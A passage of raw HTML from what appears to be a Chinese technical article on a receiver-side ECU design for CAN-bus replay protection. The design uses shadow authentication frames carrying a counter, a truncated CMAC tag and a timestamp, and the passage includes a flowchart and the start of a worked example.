none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">接收端ECU实现</span></h3><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">接收端需要实现一个新的验证状态机制：</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">1.当收到业务帧(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">s</span></code><span leaf="">)时，将其数据副本与接收时间戳存入缓存池，并暂停该帧的应用层处理</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">2.启动一个定时器（根据业务和网络负载调整），等待对应的影子认证帧(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">x&#39;</span></code><span leaf="">)</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">3.超时处理：若超时仍未收到(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">x&#39;</span></code><span leaf="">)，则从缓存中丢弃该业务帧(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">s</span></code><span leaf="">)，不再处理</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">4.若收到影子认证帧(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">x&#39;</span></code><span leaf="">)：</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">a.</span></strong><span leaf=""> 从缓存中查找与之匹配的业务帧(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">s</span></code><span leaf="">)</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">b.</span></strong><span leaf=""> 从(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">x&#39;</span></code><span leaf="">)数据场中提取 </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">ctr_recv</span></code><span leaf=""> 和 </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Tag16_recv</span></code><span leaf="">以及</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Time_Stamp_recv</span></code></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">c.</span></strong><span leaf=""> 使用密钥 (</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">key</span></code><span leaf="">)、缓存的</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">s.ID</span></code><span leaf="">、</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">s.DATA</span></code><span leaf=""> 以及提取的 </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">ctr_recv</span></code><span leaf="">、</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Time_Stamp_recv</span></code><span leaf="">，按照发送流程重新计算期望的认证标签(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Tag16_calc</span></code><span leaf="">)</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">d.</span></strong><span leaf=""> 计算输入：</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Input_calc = s.ID (2B) || s.DATA (8B) || ctr_recv (1B) || Time_Stamp_recv (1B)</span></code></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">e.</span></strong><span leaf=""> 计算：</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Tag16_calc = Truncate(CMAC(key, Input_calc), 16)</span></code><span leaf=""> //截断取前两个字节用作高低位</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">f.</span></strong><span leaf=""> 验证对比：</span></p><p style="box-sizing: border-box;margin: 20px 10px 20px 0px;padding: 0px 0px 0px 20px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">若 </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Tag16_calc != Tag16_recv</span></code><span leaf="">，验证失败，丢弃业务帧(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">s</span></code><span leaf="">)，不再处理</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">若 </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Tag16_calc == Tag16_recv</span></code><span leaf="">，进行</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Time_Stamp</span></code><span leaf="">有效性校验和计数器防重放检查</span></span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">5.清除缓存中对应的业务帧(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">s</span></code><span leaf="">)</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">6.更新计数器</span></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">逻辑流程图如下</span></h3><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="sql"><code><span leaf="">graph TD</span></code><br/><code><span leaf="">    A[收到业务帧s] <span class="code-snippet__comment">--&gt; B{帧s.ID是否在&lt;br&gt;受保护列表?}</span></span></code><br/><code><span leaf="">    B <span class="code-snippet__comment">-- 否 --&gt; C[提交应用层处理]</span></span></code><br/><code><span leaf="">    B <span class="code-snippet__comment">-- 是 --&gt; D[缓存s.ID与s.DATA&lt;br&gt;启动超时定时器]</span></span></code><br/><code></code><br/><code><span leaf="">    D <span class="code-snippet__comment">--&gt; E{在超时时间内&lt;br&gt;收到影子认证帧x&#39;?}</span></span></code><br/><code><span leaf="">    E <span class="code-snippet__comment">-- 否 --&gt; F[丢弃缓存帧s&lt;br&gt;（可选项）：触发超时告警]</span></span></code><br/><code></code><br/><code><span leaf="">    E <span class="code-snippet__comment">-- 是 --&gt; G[提取ctr_recv, Tag16_recv, Time_Stamp_recv]</span></span></code><br/><code><span leaf="">    G <span class="code-snippet__comment">--&gt; H[根据缓存数据计算&lt;br&gt;Tag16_calc]</span></span></code><br/><code><span leaf="">    H <span class="code-snippet__comment">--&gt; I{Tag16_calc ==&lt;br&gt;Tag16_recv?}</span></span></code><br/><code><span leaf="">    I <span class="code-snippet__comment">-- 否 --&gt; J[认证失败&lt;br&gt;丢弃帧s]</span></span></code><br/><code></code><br/><code><span leaf="">    I <span class="code-snippet__comment">-- 是 --&gt; K{Time_Stamp_recv有效?&lt;br&gt;（等于或接近My_Time_Stamp）}</span></span></code><br/><code><span leaf="">    K <span class="code-snippet__comment">-- 否 --&gt; L[时间片无效→重放攻击&lt;br&gt;丢弃帧s]</span></span></code><br/><code></code><br/><code><span leaf="">    K <span class="code-snippet__comment">-- 是 --&gt; M{ctr_recv有效?&lt;br&gt;（在预期狭小窗口内）}</span></span></code><br/><code><span leaf="">    M <span class="code-snippet__comment">-- 否 --&gt; N[计数器无效→重放攻击&lt;br&gt;丢弃帧s]</span></span></code><br/><code></code><br/><code><span leaf="">    M <span class="code-snippet__comment">-- 是 --&gt; O[验证成功]</span></span></code><br/><code><span leaf="">    O <span class="code-snippet__comment">--&gt; P[提交业务帧s至应用层]</span></span></code><br/><code><span leaf="">    O <span class="code-snippet__comment">--&gt; Q[更新last_valid_ctr = ctr_recv]</span></span></code><br/><code></code><br/><code><span leaf="">    J <span class="code-snippet__comment">--&gt; R[结束]</span></span></code><br/><code><span leaf="">    L <span class="code-snippet__comment">--&gt; R</span></span></code><br/><code><span leaf="">    N <span class="code-snippet__comment">--&gt; R</span></span></code><br/><code><span leaf="">    P <span class="code-snippet__comment">--&gt; R</span></span></code><br/><code><span leaf="">    Q <span class="code-snippet__comment">--&gt; R</span></span></code><br/><code></code><br/><code><span leaf="">    subgraph 接收端统一清理</span></code><br/><code><span leaf="">        R[清除缓存中本帧记录]</span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">end</span></span></code><br/></pre></p><wiz-editor-doc data-source="wiz-editor-doc::eyJibG9ja3MiOlt7ImlkIjoiX2FQTEVRNlFQIiwidHlwZSI6ImVtYmVkIiwiZW1iZWRUeXBlIjoiaW1hZ2UiLCJlbWJlZERhdGEiOnsic3JjIjoiR05GbGtSSmtsS2JqNWpRM3pSOXVNMzN5ZnU5QUZJM0xGU2NLa2lWM0tPcy5wbmciLCI3ZmVhYzA4ZDcyNmJjZWRiY2FmMTkwNTJkMzcwODBmY19jb21tZW50cyI6W119LCJhbGlnbiI6ImNlbnRlciJ9XSwiY29tbWVudHMiOnt9LCJtZXRhIjp7ImFwcElkIjoiMzJiNDFlZTAtN2Q5Zi0xMWVjLWJhNmMtMjFkOTY5NTJkNDQ2IiwiZG9jSWQiOiJjOGM3NDcyYi00ZWQxLTQ2NzYtYmQyMy1jNDdjODJiMTM4NGUiLCJ0aXRsZSI6IuWfuuS6juWinuWKoOW4p-eahOaWueW8j-WcqOagh-WHhkNBTuS4iuWunueOsOmYsumHjeaUvueahOaWueahiCIsImZpcnN0QmxvY2tJZCI6Il9hUExFUTZRUCIsImFwaVNlcnZlciI6Imh0dHBzOi8vdmlwa3NodHRwczEud2l6LmNuL2VkaXRvci8zMmI0MWVlMC03ZDlmLTExZWMtYmE2Yy0yMWQ5Njk1MmQ0NDYvYzhjNzQ3MmItNGVkMS00Njc2LWJkMjMtYzQ3YzgyYjEzODRlIiwidG9rZW4iOiJXLjdLRUt3a21Cb0k0MzBEc29SSVgwZW9oRWpTV3AxZXJDdTNJektMVnNId3g3c3RVUnNPUm1jNTJ2d0dnOTJrQSJ9fQ::wiz-editor-doc" data-pm-slice="0 0 []"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100031550" data-ratio="1.9435185185185184" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=c7f309c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvY9CIZX9cNok7Ric0mIy8cEDhqEJzbMr3eWVoGFCEwaIxo2EVYiciaiakbjFoDpJrS9qCR3iauJRxtptg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></wiz-editor-doc><h3 style="box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">示例</span></h3><h3 style="box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">发送端：</span></h3><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">场景： </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">100</span></code></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">1.业务帧(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">s</span></code><span leaf="">)：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ini"><code><span leaf=""><span class="code-snippet__attr">s.ID</span> = <span class="code-snippet__number">0</span>x100</span></code><br/><code><span leaf=""><span class="code-snippet__attr">s.DATA</span> = [<span class="code-snippet__number">0</span>x01, <span class="code-snippet__number">0</span>x00, <span class="code-snippet__number">0</span>x00, <span class="code-snippet__number">0</span>x00, <span class="code-snippet__number">0</span>x00, <span class="code-snippet__number">0</span>x00, <span class="code-snippet__number">0</span>x00, <span class="code-snippet__number">0</span>x00]</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 